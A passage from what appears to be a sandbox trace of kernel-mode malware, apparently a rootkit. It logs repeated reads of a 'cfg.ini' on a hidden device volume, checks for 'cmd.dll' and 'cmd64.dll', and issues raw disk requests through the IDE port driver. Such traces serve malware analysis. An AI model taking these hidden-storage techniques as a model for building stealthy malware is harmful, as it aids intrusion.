MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.746] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.746] IdePortDispatch () returned 0x103 [0123.746] KeWaitForMutexObject () returned 0x0 [0123.746] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.746] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.747] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.747] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.747] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.747] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bedeb0 [0123.747] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.747] KeLeaveCriticalRegion () [0123.747] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.747] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.747] KeEnterCriticalRegion () [0123.747] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.747] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.747] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.747] KeLeaveCriticalRegion () [0123.747] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.747] KeEnterCriticalRegion () [0123.747] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.747] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.747] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.747] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.747] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.747] IdePortDispatch () returned 0x103 [0123.747] KeWaitForMutexObject () returned 0x0 [0123.747] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.747] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.747] KeLeaveCriticalRegion () [0123.747] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.747] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.747] KeEnterCriticalRegion () [0123.747] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.747] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003573000 [0123.747] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.747] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.747] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.747] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.747] IdePortDispatch () returned 0x103 [0123.748] KeWaitForMutexObject () returned 0x0 [0123.748] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.748] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.748] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.748] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.748] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.748] IdePortDispatch () returned 0x103 [0123.748] KeWaitForMutexObject () returned 0x0 [0123.748] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.749] KeLeaveCriticalRegion () [0123.749] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.749] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.749] KeEnterCriticalRegion () [0123.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.749] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.749] KeLeaveCriticalRegion () [0123.749] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.749] KeEnterCriticalRegion () [0123.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.749] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.749] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.749] KeLeaveCriticalRegion () [0123.749] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.750] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.750] KeEnterCriticalRegion () [0123.750] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.750] ExFreePoolWithTag (P=0xfffffa8003bedeb0, Tag=0x0) [0123.750] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.750] KeLeaveCriticalRegion () [0123.750] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.750] ReleaseMutex (hMutex=0xf0) returned 1 [0123.750] Sleep (dwMilliseconds=0x124f80) [0123.764] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.764] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.764] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.764] KeEnterCriticalRegion () [0123.764] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.764] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.764] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.764] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.764] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.764] IdePortDispatch () returned 0x103 [0123.764] KeWaitForMutexObject () returned 0x0 [0123.764] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.764] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.764] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.764] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.764] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.764] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bed5a0 [0123.764] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.764] KeLeaveCriticalRegion () [0123.764] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.764] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.765] KeEnterCriticalRegion () [0123.765] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.765] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.765] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.765] KeLeaveCriticalRegion () [0123.765] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.765] KeEnterCriticalRegion () [0123.765] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.765] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.765] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.765] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.765] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.765] IdePortDispatch () returned 0x103 [0123.765] KeWaitForMutexObject () returned 0x0 [0123.765] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.765] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.765] KeLeaveCriticalRegion () [0123.765] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.765] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.765] KeEnterCriticalRegion () [0123.765] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.765] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003578000 [0123.765] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.765] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.765] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.765] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.765] IdePortDispatch () returned 0x103 [0123.766] KeWaitForMutexObject () returned 0x0 [0123.770] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.770] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.770] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.770] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.770] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.770] IdePortDispatch () returned 0x103 [0123.770] KeWaitForMutexObject () returned 0x0 [0123.770] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.771] KeLeaveCriticalRegion () [0123.771] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.771] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.771] KeEnterCriticalRegion () [0123.771] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.771] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.771] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.771] KeLeaveCriticalRegion () [0123.771] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.771] KeEnterCriticalRegion () [0123.771] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.771] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.771] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bed200, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.772] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.772] KeLeaveCriticalRegion () [0123.772] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.772] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.772] KeEnterCriticalRegion () [0123.772] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.772] ExFreePoolWithTag (P=0xfffffa8003bed5a0, Tag=0x0) [0123.772] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.772] KeLeaveCriticalRegion () [0123.772] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.772] ReleaseMutex (hMutex=0xf0) returned 1 [0123.772] Sleep (dwMilliseconds=0x124f80) [0123.787] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.787] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.787] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.787] KeEnterCriticalRegion () [0123.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.787] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.787] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.787] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.787] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.787] IdePortDispatch () returned 0x103 [0123.787] KeWaitForMutexObject () returned 0x0 [0123.788] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.788] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.788] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.788] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.788] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.788] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bec510 [0123.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.788] KeLeaveCriticalRegion () [0123.788] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.788] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.788] KeEnterCriticalRegion () [0123.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.788] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.788] KeLeaveCriticalRegion () [0123.788] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.788] KeEnterCriticalRegion () [0123.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.788] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.788] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.788] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.788] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.788] IdePortDispatch () returned 0x103 [0123.788] KeWaitForMutexObject () returned 0x0 [0123.788] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.788] KeLeaveCriticalRegion () [0123.788] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.788] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.788] KeEnterCriticalRegion () [0123.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.788] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ed000 [0123.788] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.788] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.788] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.789] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.789] IdePortDispatch () returned 0x103 [0123.789] KeWaitForMutexObject () returned 0x0 [0123.789] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.789] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.789] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.789] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.789] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.789] IdePortDispatch () returned 0x103 [0123.789] KeWaitForMutexObject () returned 0x0 [0123.789] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.789] KeLeaveCriticalRegion () [0123.789] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.790] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.790] KeEnterCriticalRegion () [0123.790] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.790] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.790] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.790] KeLeaveCriticalRegion () [0123.790] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.790] KeEnterCriticalRegion () [0123.790] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.790] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.790] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.790] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.790] KeLeaveCriticalRegion () [0123.790] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.790] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.790] KeEnterCriticalRegion () [0123.790] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.790] ExFreePoolWithTag (P=0xfffffa8003bec510, Tag=0x0) [0123.790] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.790] KeLeaveCriticalRegion () [0123.790] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.790] ReleaseMutex (hMutex=0xf0) returned 1 [0123.790] Sleep (dwMilliseconds=0x124f80) [0123.792] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.799] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.799] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.799] KeEnterCriticalRegion () [0123.799] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.799] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.799] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.799] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.799] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.799] IdePortDispatch () returned 0x103 [0123.799] KeWaitForMutexObject () returned 0x0 [0123.799] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.799] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.799] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.799] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.799] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.800] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bed7a0 [0123.800] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.800] KeLeaveCriticalRegion () [0123.800] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.800] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.800] KeEnterCriticalRegion () [0123.800] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.800] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.800] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.800] KeLeaveCriticalRegion () [0123.800] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.800] KeEnterCriticalRegion () [0123.800] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.800] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.800] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.800] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.800] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.800] IdePortDispatch () returned 0x103 [0123.800] KeWaitForMutexObject () returned 0x0 [0123.800] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.800] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.800] 